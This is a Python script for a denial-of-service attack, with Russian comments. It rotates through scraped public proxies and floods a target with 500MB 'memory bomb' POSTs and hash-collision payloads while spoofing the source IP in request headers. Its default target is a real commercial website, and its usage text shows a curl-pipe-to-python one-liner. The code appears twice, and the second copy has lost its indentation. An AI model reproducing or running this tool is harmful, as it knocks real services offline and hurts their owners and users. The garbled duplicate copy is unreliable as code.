RoninReilly/simple_dos_server.py

## simple_dos_server.py
#!/usr/bin/env python3
"""
🔥 ПРОСТАЯ АГРЕССИВНАЯ DoS АТАКА ДЛЯ СЕРВЕРОВ 🔥
Версия без GUI для one-line запуска на серверах

Использование:
python3 simple_dos_server.py
python3 simple_dos_server.py --target https://example.com --threads 100 --duration 3600
curl -s https://your-server.com/simple_dos_server.py | python3
"""

import requests
import threading
import time
import random
import os
import sys
import argparse
from datetime import datetime
from collections import deque
import json

# Автоматическая установка зависимостей
def install_requirements():
    """Автоматически устанавливает необходимые зависимости"""
    try:
        import requests
    except ImportError:
        print("📦 Устанавливаю requests...")
        os.system(f"{sys.executable} -m pip install requests")
        import requests

# --- КОНФИГУРАЦИЯ ПО УМОЛЧАНИЮ ---
DEFAULT_CONFIG = {
    'target_url': "https://bertazzoni.com.ru/bertazzoni/?limit=1000",
    'thread_count': 200,
    'attack_duration': 86400,  # 24 часа
    'proxy_file': "proxy.txt",
    'log_interval': 10,  # Логи каждые 10 секунд
    'auto_proxy_download': True,
    'proxy_sources': [
        "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt",
        "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt",
        "https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/proxies.txt"
    ]
}

# Глобальные переменные
proxies = []
working_proxies = set()
dead_proxies = set()
stats = {
    'total': 0,
    'success': 0,
    'failed': 0,
    'times': deque(maxlen=100),
    'proxy_success': {},
    'proxy_failed': {},
    'server_status': 'Unknown',
    'start_time': None,
    'last_response_time': 0,
    'requests_per_second': 0,
    'avg_response_time': 0,
    'attack_running': False
}
lock = threading.Lock()

def log(message, level="INFO"):
    """Простое логирование"""
    timestamp = datetime.now().strftime("%H:%M:%S")
    print(f"[{timestamp}] [{level}] {message}")

def download_proxies():
    """Скачивает прокси из открытых источников"""
    log("🌐 Скачиваю свежие прокси...")
    all_proxies = []

    for source in DEFAULT_CONFIG['proxy_sources']:
        try:
            response = requests.get(source, timeout=10)
            if response.status_code == 200:
                proxies_from_source = [line.strip() for line in response.text.split('\n') if line.strip()]
                all_proxies.extend(proxies_from_source)
                log(f"✅ Получено {len(proxies_from_source)} прокси из {source}")
        except Exception as e:
            log(f"❌ Ошибка загрузки из {source}: {e}", "ERROR")

    # Сохраняем в файл
    if all_proxies:
        with open(DEFAULT_CONFIG['proxy_file'], 'w') as f:
            for proxy in all_proxies:
                f.write(proxy + '\n')
        log(f"💾 Сохранено {len(all_proxies)} прокси в {DEFAULT_CONFIG['proxy_file']}")
        return True
    return False

def load_proxies():
    """Загружает прокси из файла или скачивает их"""
    global proxies

    # Пытаемся загрузить из файла
    if os.path.exists(DEFAULT_CONFIG['proxy_file']):
        try:
            with open(DEFAULT_CONFIG['proxy_file'], 'r', encoding='utf-8') as f:
                proxies = [line.strip() for line in f if line.strip()]
            if proxies:
                log(f"📋 Загружено {len(proxies)} прокси из файла")
                return True
        except Exception as e:
            log(f"❌ Ошибка чтения файла прокси: {e}", "ERROR")

    # Если файла нет или он пустой, скачиваем
    if DEFAULT_CONFIG['auto_proxy_download']:
        if download_proxies():
            return load_proxies()  # Рекурсивно загружаем после скачивания

    log("❌ Не удалось загрузить прокси", "ERROR")
    return False

def get_random_proxy():
    """Возвращает случайный прокси"""
    if not proxies:
        return None
    return random.choice(proxies)

def format_proxy(proxy_url):
    """Форматирует прокси для requests"""
    if not proxy_url.startswith(('http://', 'https://', 'socks4://', 'socks5://')):
        proxy_url = 'http://' + proxy_url

    return {
        'http': proxy_url,
        'https': proxy_url
    }

def memory_exhaustion_attack(target_url):
    """Атака на исчерпание памяти через прокси"""
    proxy_url = get_random_proxy()
    if not proxy_url:
        return False

    try:
        proxy_dict = format_proxy(proxy_url)
        huge_data = 'memory_bomb=' + 'A' * 500000000  # 500MB данных

        start_time = time.time()
        response = requests.post(
            target_url,
            data=huge_data,
            headers={
                'Content-Type': 'application/x-www-form-urlencoded',
                'User-Agent': f'MemoryExhaustion-Attack/1.0-{random.randint(1000,9999)}',
                'Connection': 'close',
                'X-Forwarded-For': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}'
            },
            proxies=proxy_dict,
            timeout=60
        )
        response_time = time.time() - start_time

        with lock:
            stats['success'] += 1
            stats['total'] += 1
            stats['times'].append(response_time)
            stats['last_response_time'] = response_time

            if proxy_url not in stats['proxy_success']:
                stats['proxy_success'][proxy_url] = 0
            stats['proxy_success'][proxy_url] += 1

            working_proxies.add(proxy_url)

            # Определяем статус сервера
            if response_time > 15:
                stats['server_status'] = 'КРИТИЧЕСКИ ПЕРЕГРУЖЕН'
            elif response_time > 10:
                stats['server_status'] = 'СИЛЬНО ПЕРЕГРУЖЕН'
            elif response_time > 5:
                stats['server_status'] = 'ПЕРЕГРУЖЕН'
            elif response_time > 2:
                stats['server_status'] = 'ПОД НАГРУЗКОЙ'
            else:
                stats['server_status'] = 'СТАБИЛЬНЫЙ'

        return True

    except Exception as e:
        with lock:
            stats['failed'] += 1
            stats['total'] += 1

            if proxy_url not in stats['proxy_failed']:
                stats['proxy_failed'][proxy_url] = 0
            stats['proxy_failed'][proxy_url] += 1

            dead_proxies.add(proxy_url)

        return False

def hash_collision_attack(target_url):
    """Hash collision атака через прокси"""
    proxy_url = get_random_proxy()
    if not proxy_url:
        return False

    try:
        proxy_dict = format_proxy(proxy_url)
        collision_data = {}

        for i in range(30000):
            key = f"0e{i:020d}"
            collision_data[key] = f"collision_value_{i}"

        start_time = time.time()
        response = requests.post(
            target_url,
            data=collision_data,
            headers={
                'User-Agent': f'HashCollision-Attack/1.0-{random.randint(1000,9999)}',
                'X-Real-IP': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}'
            },
            proxies=proxy_dict,
            timeout=60
        )
        response_time = time.time() - start_time

        with lock:
            stats['success'] += 1
            stats['total'] += 1
            stats['times'].append(response_time)
            stats['last_response_time'] = response_time

            if proxy_url not in stats['proxy_success']:
                stats['proxy_success'][proxy_url] = 0
            stats['proxy_success'][proxy_url] += 1

            working_proxies.add(proxy_url)

        return True

    except Exception as e:
        with lock:
            stats['failed'] += 1
            stats['total'] += 1

            if proxy_url not in stats['proxy_failed']:
                stats['proxy_failed'][proxy_url] = 0
            stats['proxy_failed'][proxy_url] += 1

            dead_proxies.add(proxy_url)

        return False

def combined_attack_worker(target_url, duration):
    """Комбинированная атака с прокси"""
    start_time = time.time()

    while stats['attack_running'] and (time.time() - start_time) < duration:
        if random.choice([True, False]):
            memory_exhaustion_attack(target_url)
        else:
            hash_collision_attack(target_url)

        time.sleep(random.uniform(0.1, 0.3))

def calculate_rps():
    """Вычисляет запросы в секунду"""
    if not stats['start_time']:
        return 0

    elapsed = time.time() - stats['start_time']
    if elapsed > 0:
        return stats['total'] / elapsed
    return 0

def get_avg_response_time():
    """Вычисляет среднее время ответа"""
    if stats['times']:
        return sum(stats['times']) / len(stats['times'])
    return 0

def print_stats():
    """Выводит статистику в консоль"""
    if stats['total'] == 0:
        return

    success_rate = (stats['success'] / stats['total']) * 100
    rps = calculate_rps()
    avg_time = get_avg_response_time()
    elapsed = time.time() - stats['start_time'] if stats['start_time'] else 0

    log("=" * 80)
    log(f"📊 СТАТИСТИКА АТАКИ")
    log(f"🎯 Цель: {DEFAULT_CONFIG['target_url']}")
    log(f"⏰ Время работы: {elapsed:.0f}с")
    log(f"📈 Всего запросов: {stats['total']:,}")
    log(f"✅ Успешных: {stats['success']:,} ({success_rate:.1f}%)")
    log(f"❌ Неудачных: {stats['failed']:,}")
    log(f"🚀 Скорость: {rps:.1f} req/sec")
    log(f"⏱️ Среднее время ответа: {avg_time:.3f}с")
    log(f"🌐 Рабочих прокси: {len(working_proxies):,}")
    log(f"💀 Мертвых прокси: {len(dead_proxies):,}")
    log(f"🔥 Статус сервера: {stats['server_status']}")
    log("=" * 80)

def stats_monitor(log_interval):
    """Мониторинг статистики в отдельном потоке"""
    while stats['attack_running']:
        time.sleep(log_interval)
        if stats['attack_running']:
            print_stats()

def parse_arguments():
    """Парсит аргументы командной строки"""
    parser = argparse.ArgumentParser(description='🔥 Агрессивная DoS атака для серверов')
    parser.add_argument('--target', '-t', default=DEFAULT_CONFIG['target_url'],
                       help='URL цели для атаки')
    parser.add_argument('--threads', '-th', type=int, default=DEFAULT_CONFIG['thread_count'],
                       help='Количество потоков')
    parser.add_argument('--duration', '-d', type=int, default=DEFAULT_CONFIG['attack_duration'],
                       help='Длительность атаки в секундах')
    parser.add_argument('--proxy-file', '-p', default=DEFAULT_CONFIG['proxy_file'],
                       help='Файл с прокси')
    parser.add_argument('--log-interval', '-l', type=int, default=DEFAULT_CONFIG['log_interval'],
                       help='Интервал вывода статистики в секундах')
    parser.add_argument('--no-auto-proxy', action='store_true',
                       help='Отключить автоматическое скачивание прокси')
    parser.add_argument('--silent', '-s', action='store_true',
                       help='Тихий режим (минимум логов)')

    return parser.parse_args()

def main():
    """Основная функция"""
    global stats

    # Устанавливаем зависимости
    install_requirements()

    # Парсим аргументы
    args = parse_arguments()

    # Обновляем конфигурацию
    DEFAULT_CONFIG['target_url'] = args.target
    DEFAULT_CONFIG['thread_count'] = args.threads
    DEFAULT_CONFIG['attack_duration'] = args.duration
    DEFAULT_CONFIG['proxy_file'] = args.proxy_file
    DEFAULT_CONFIG['log_interval'] = args.log_interval
    DEFAULT_CONFIG['auto_proxy_download'] = not args.no_auto_proxy

    if not args.silent:
        log("🔥🔥🔥 ЗАПУСК АГРЕССИВНОЙ DoS АТАКИ 🔥🔥🔥")
        log(f"🎯 Цель: {DEFAULT_CONFIG['target_url']}")
        log(f"🧵 Потоков: {DEFAULT_CONFIG['thread_count']}")
        log(f"⏰ Длительность: {DEFAULT_CONFIG['attack_duration']} секунд")
        log("🚀 Методы: Memory Exhaustion + Hash Collision + Proxy Rotation")

    # Загружаем прокси
    if not load_proxies():
        log("❌ Не удалось загрузить прокси. Завершение работы.", "ERROR")
        return 1

    if not args.silent:
        log(f"✅ Загружено {len(proxies):,} прокси")
        log("🚀 Начинаю атаку...")

    stats['start_time'] = time.time()
    stats['attack_running'] = True

    # Запускаем атакующие потоки
    threads = []
    for i in range(DEFAULT_CONFIG['thread_count']):
        thread = threading.Thread(
            target=combined_attack_worker,
            args=(DEFAULT_CONFIG['target_url'], DEFAULT_CONFIG['attack_duration'])
        )
        thread.daemon = True
        threads.append(thread)
        thread.start()

    # Запускаем мониторинг статистики
    if not args.silent:
        stats_thread = threading.Thread(
            target=stats_monitor,
            args=(DEFAULT_CONFIG['log_interval'],)
        )
        stats_thread.daemon = True
        stats_thread.start()

    # Ждем завершения атаки
    try:
        start_time = time.time()
        while stats['attack_running'] and (time.time() - start_time) < DEFAULT_CONFIG['attack_duration']:
            time.sleep(1)

        stats['attack_running'] = False

        if not args.silent:
            log("🔥 АТАКА ЗАВЕРШЕНА 🔥")
            print_stats()

            # Финальная оценка
            avg_time = get_avg_response_time()
            if avg_time > 15.0:
                log("🔥🔥🔥🔥 СЕРВЕР ПОЛНОСТЬЮ ПАРАЛИЗОВАН! 🔥🔥🔥🔥")
            elif avg_time > 10.0:
                log("🔥🔥🔥 СЕРВЕР КРИТИЧЕСКИ ПЕРЕГРУЖЕН! 🔥🔥🔥")
            elif avg_time > 5.0:
                log("🔥🔥 СЕРВЕР СИЛЬНО ЗАМЕДЛИЛСЯ! 🔥🔥")
            elif avg_time > 2.0:
                log("🔥 Сервер под серьезной нагрузкой! 🔥")
            else:
                log("⚠️ Сервер устоял против атаки")

        return 0

    except KeyboardInterrupt:
        stats['attack_running'] = False
        if not args.silent:
            log("🛑 АТАКА ОСТАНОВЛЕНА ПОЛЬЗОВАТЕЛЕМ")
        return 0

if __name__ == "__main__":
    sys.exit(main())
	#!/usr/bin/env python3
	"""
	🔥 ПРОСТАЯ АГРЕССИВНАЯ DoS АТАКА ДЛЯ СЕРВЕРОВ 🔥
	Версия без GUI для one-line запуска на серверах

	Использование:
	python3 simple_dos_server.py
	python3 simple_dos_server.py --target https://example.com --threads 100 --duration 3600
	curl -s https://your-server.com/simple_dos_server.py \| python3
	"""

	import requests
	import threading
	import time
	import random
	import os
	import sys
	import argparse
	from datetime import datetime
	from collections import deque
	import json

	# Автоматическая установка зависимостей
	def install_requirements():
	"""Автоматически устанавливает необходимые зависимости"""
	try:
	import requests
	except ImportError:
	print("📦 Устанавливаю requests...")
	os.system(f"{sys.executable} -m pip install requests")
	import requests

	# --- КОНФИГУРАЦИЯ ПО УМОЛЧАНИЮ ---
	DEFAULT_CONFIG = {
	'target_url': "https://bertazzoni.com.ru/bertazzoni/?limit=1000",
	'thread_count': 200,
	'attack_duration': 86400, # 24 часа
	'proxy_file': "proxy.txt",
	'log_interval': 10, # Логи каждые 10 секунд
	'auto_proxy_download': True,
	'proxy_sources': [
	"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt",
	"https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt",
	"https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/proxies.txt"
	]
	}

	# Глобальные переменные
	proxies = []
	working_proxies = set()
	dead_proxies = set()
	stats = {
	'total': 0,
	'success': 0,
	'failed': 0,
	'times': deque(maxlen=100),
	'proxy_success': {},
	'proxy_failed': {},
	'server_status': 'Unknown',
	'start_time': None,
	'last_response_time': 0,
	'requests_per_second': 0,
	'avg_response_time': 0,
	'attack_running': False
	}
	lock = threading.Lock()

	def log(message, level="INFO"):
	"""Простое логирование"""
	timestamp = datetime.now().strftime("%H:%M:%S")
	print(f"[{timestamp}] [{level}] {message}")

	def download_proxies():
	"""Скачивает прокси из открытых источников"""
	log("🌐 Скачиваю свежие прокси...")
	all_proxies = []

	for source in DEFAULT_CONFIG['proxy_sources']:
	try:
	response = requests.get(source, timeout=10)
	if response.status_code == 200:
	proxies_from_source = [line.strip() for line in response.text.split('\n') if line.strip()]
	all_proxies.extend(proxies_from_source)
	log(f"✅ Получено {len(proxies_from_source)} прокси из {source}")
	except Exception as e:
	log(f"❌ Ошибка загрузки из {source}: {e}", "ERROR")

	# Сохраняем в файл
	if all_proxies:
	with open(DEFAULT_CONFIG['proxy_file'], 'w') as f:
	for proxy in all_proxies:
	f.write(proxy + '\n')
	log(f"💾 Сохранено {len(all_proxies)} прокси в {DEFAULT_CONFIG['proxy_file']}")
	return True
	return False

	def load_proxies():
	"""Загружает прокси из файла или скачивает их"""
	global proxies

	# Пытаемся загрузить из файла
	if os.path.exists(DEFAULT_CONFIG['proxy_file']):
	try:
	with open(DEFAULT_CONFIG['proxy_file'], 'r', encoding='utf-8') as f:
	proxies = [line.strip() for line in f if line.strip()]
	if proxies:
	log(f"📋 Загружено {len(proxies)} прокси из файла")
	return True
	except Exception as e:
	log(f"❌ Ошибка чтения файла прокси: {e}", "ERROR")

	# Если файла нет или он пустой, скачиваем
	if DEFAULT_CONFIG['auto_proxy_download']:
	if download_proxies():
	return load_proxies() # Рекурсивно загружаем после скачивания

	log("❌ Не удалось загрузить прокси", "ERROR")
	return False

	def get_random_proxy():
	"""Возвращает случайный прокси"""
	if not proxies:
	return None
	return random.choice(proxies)

	def format_proxy(proxy_url):
	"""Форматирует прокси для requests"""
	if not proxy_url.startswith(('http://', 'https://', 'socks4://', 'socks5://')):
	proxy_url = 'http://' + proxy_url

	return {
	'http': proxy_url,
	'https': proxy_url
	}

	def memory_exhaustion_attack(target_url):
	"""Атака на исчерпание памяти через прокси"""
	proxy_url = get_random_proxy()
	if not proxy_url:
	return False

	try:
	proxy_dict = format_proxy(proxy_url)
	huge_data = 'memory_bomb=' + 'A' * 500000000 # 500MB данных

	start_time = time.time()
	response = requests.post(
	target_url,
	data=huge_data,
	headers={
	'Content-Type': 'application/x-www-form-urlencoded',
	'User-Agent': f'MemoryExhaustion-Attack/1.0-{random.randint(1000,9999)}',
	'Connection': 'close',
	'X-Forwarded-For': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}'
	},
	proxies=proxy_dict,
	timeout=60
	)
	response_time = time.time() - start_time

	with lock:
	stats['success'] += 1
	stats['total'] += 1
	stats['times'].append(response_time)
	stats['last_response_time'] = response_time

	if proxy_url not in stats['proxy_success']:
	stats['proxy_success'][proxy_url] = 0
	stats['proxy_success'][proxy_url] += 1

	working_proxies.add(proxy_url)

	# Определяем статус сервера
	if response_time > 15:
	stats['server_status'] = 'КРИТИЧЕСКИ ПЕРЕГРУЖЕН'
	elif response_time > 10:
	stats['server_status'] = 'СИЛЬНО ПЕРЕГРУЖЕН'
	elif response_time > 5:
	stats['server_status'] = 'ПЕРЕГРУЖЕН'
	elif response_time > 2:
	stats['server_status'] = 'ПОД НАГРУЗКОЙ'
	else:
	stats['server_status'] = 'СТАБИЛЬНЫЙ'

	return True

	except Exception as e:
	with lock:
	stats['failed'] += 1
	stats['total'] += 1

	if proxy_url not in stats['proxy_failed']:
	stats['proxy_failed'][proxy_url] = 0
	stats['proxy_failed'][proxy_url] += 1

	dead_proxies.add(proxy_url)

	return False

	def hash_collision_attack(target_url):
	"""Hash collision атака через прокси"""
	proxy_url = get_random_proxy()
	if not proxy_url:
	return False

	try:
	proxy_dict = format_proxy(proxy_url)
	collision_data = {}

	for i in range(30000):
	key = f"0e{i:020d}"
	collision_data[key] = f"collision_value_{i}"

	start_time = time.time()
	response = requests.post(
	target_url,
	data=collision_data,
	headers={
	'User-Agent': f'HashCollision-Attack/1.0-{random.randint(1000,9999)}',
	'X-Real-IP': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}'
	},
	proxies=proxy_dict,
	timeout=60
	)
	response_time = time.time() - start_time

	with lock:
	stats['success'] += 1
	stats['total'] += 1
	stats['times'].append(response_time)
	stats['last_response_time'] = response_time

	if proxy_url not in stats['proxy_success']:
	stats['proxy_success'][proxy_url] = 0
	stats['proxy_success'][proxy_url] += 1

	working_proxies.add(proxy_url)

	return True

	except Exception as e:
	with lock:
	stats['failed'] += 1
	stats['total'] += 1

	if proxy_url not in stats['proxy_failed']:
	stats['proxy_failed'][proxy_url] = 0
	stats['proxy_failed'][proxy_url] += 1

	dead_proxies.add(proxy_url)

	return False

	def combined_attack_worker(target_url, duration):
	"""Комбинированная атака с прокси"""
	start_time = time.time()

	while stats['attack_running'] and (time.time() - start_time) < duration:
	if random.choice([True, False]):
	memory_exhaustion_attack(target_url)
	else:
	hash_collision_attack(target_url)

	time.sleep(random.uniform(0.1, 0.3))

	def calculate_rps():
	"""Вычисляет запросы в секунду"""
	if not stats['start_time']:
	return 0

	elapsed = time.time() - stats['start_time']
	if elapsed > 0:
	return stats['total'] / elapsed
	return 0

	def get_avg_response_time():
	"""Вычисляет среднее время ответа"""
	if stats['times']:
	return sum(stats['times']) / len(stats['times'])
	return 0

	def print_stats():
	"""Выводит статистику в консоль"""
	if stats['total'] == 0:
	return

	success_rate = (stats['success'] / stats['total']) * 100
	rps = calculate_rps()
	avg_time = get_avg_response_time()
	elapsed = time.time() - stats['start_time'] if stats['start_time'] else 0

	log("=" * 80)
	log(f"📊 СТАТИСТИКА АТАКИ")
	log(f"🎯 Цель: {DEFAULT_CONFIG['target_url']}")
	log(f"⏰ Время работы: {elapsed:.0f}с")
	log(f"📈 Всего запросов: {stats['total']:,}")
	log(f"✅ Успешных: {stats['success']:,} ({success_rate:.1f}%)")
	log(f"❌ Неудачных: {stats['failed']:,}")
	log(f"🚀 Скорость: {rps:.1f} req/sec")
	log(f"⏱️ Среднее время ответа: {avg_time:.3f}с")
	log(f"🌐 Рабочих прокси: {len(working_proxies):,}")
	log(f"💀 Мертвых прокси: {len(dead_proxies):,}")
	log(f"🔥 Статус сервера: {stats['server_status']}")
	log("=" * 80)

	def stats_monitor(log_interval):
	"""Мониторинг статистики в отдельном потоке"""
	while stats['attack_running']:
	time.sleep(log_interval)
	if stats['attack_running']:
	print_stats()

	def parse_arguments():
	"""Парсит аргументы командной строки"""
	parser = argparse.ArgumentParser(description='🔥 Агрессивная DoS атака для серверов')
	parser.add_argument('--target', '-t', default=DEFAULT_CONFIG['target_url'],
	help='URL цели для атаки')
	parser.add_argument('--threads', '-th', type=int, default=DEFAULT_CONFIG['thread_count'],
	help='Количество потоков')
	parser.add_argument('--duration', '-d', type=int, default=DEFAULT_CONFIG['attack_duration'],
	help='Длительность атаки в секундах')
	parser.add_argument('--proxy-file', '-p', default=DEFAULT_CONFIG['proxy_file'],
	help='Файл с прокси')
	parser.add_argument('--log-interval', '-l', type=int, default=DEFAULT_CONFIG['log_interval'],
	help='Интервал вывода статистики в секундах')
	parser.add_argument('--no-auto-proxy', action='store_true',
	help='Отключить автоматическое скачивание прокси')
	parser.add_argument('--silent', '-s', action='store_true',
	help='Тихий режим (минимум логов)')

	return parser.parse_args()

	def main():
	"""Основная функция"""
	global stats

	# Устанавливаем зависимости
	install_requirements()

	# Парсим аргументы
	args = parse_arguments()

	# Обновляем конфигурацию
	DEFAULT_CONFIG['target_url'] = args.target
	DEFAULT_CONFIG['thread_count'] = args.threads
	DEFAULT_CONFIG['attack_duration'] = args.duration
	DEFAULT_CONFIG['proxy_file'] = args.proxy_file
	DEFAULT_CONFIG['log_interval'] = args.log_interval
	DEFAULT_CONFIG['auto_proxy_download'] = not args.no_auto_proxy

	if not args.silent:
	log("🔥🔥🔥 ЗАПУСК АГРЕССИВНОЙ DoS АТАКИ 🔥🔥🔥")
	log(f"🎯 Цель: {DEFAULT_CONFIG['target_url']}")
	log(f"🧵 Потоков: {DEFAULT_CONFIG['thread_count']}")
	log(f"⏰ Длительность: {DEFAULT_CONFIG['attack_duration']} секунд")
	log("🚀 Методы: Memory Exhaustion + Hash Collision + Proxy Rotation")

	# Загружаем прокси
	if not load_proxies():
	log("❌ Не удалось загрузить прокси. Завершение работы.", "ERROR")
	return 1

	if not args.silent:
	log(f"✅ Загружено {len(proxies):,} прокси")
	log("🚀 Начинаю атаку...")

	stats['start_time'] = time.time()
	stats['attack_running'] = True

	# Запускаем атакующие потоки
	threads = []
	for i in range(DEFAULT_CONFIG['thread_count']):
	thread = threading.Thread(
	target=combined_attack_worker,
	args=(DEFAULT_CONFIG['target_url'], DEFAULT_CONFIG['attack_duration'])
	)
	thread.daemon = True
	threads.append(thread)
	thread.start()

	# Запускаем мониторинг статистики
	if not args.silent:
	stats_thread = threading.Thread(
	target=stats_monitor,
	args=(DEFAULT_CONFIG['log_interval'],)
	)
	stats_thread.daemon = True
	stats_thread.start()

	# Ждем завершения атаки
	try:
	start_time = time.time()
	while stats['attack_running'] and (time.time() - start_time) < DEFAULT_CONFIG['attack_duration']:
	time.sleep(1)

	stats['attack_running'] = False

	if not args.silent:
	log("🔥 АТАКА ЗАВЕРШЕНА 🔥")
	print_stats()

	# Финальная оценка
	avg_time = get_avg_response_time()
	if avg_time > 15.0:
	log("🔥🔥🔥🔥 СЕРВЕР ПОЛНОСТЬЮ ПАРАЛИЗОВАН! 🔥🔥🔥🔥")
	elif avg_time > 10.0:
	log("🔥🔥🔥 СЕРВЕР КРИТИЧЕСКИ ПЕРЕГРУЖЕН! 🔥🔥🔥")
	elif avg_time > 5.0:
	log("🔥🔥 СЕРВЕР СИЛЬНО ЗАМЕДЛИЛСЯ! 🔥🔥")
	elif avg_time > 2.0:
	log("🔥 Сервер под серьезной нагрузкой! 🔥")
	else:
	log("⚠️ Сервер устоял против атаки")

	return 0

	except KeyboardInterrupt:
	stats['attack_running'] = False
	if not args.silent:
	log("🛑 АТАКА ОСТАНОВЛЕНА ПОЛЬЗОВАТЕЛЕМ")
	return 0

	if __name__ == "__main__":
	sys.exit(main())
No results found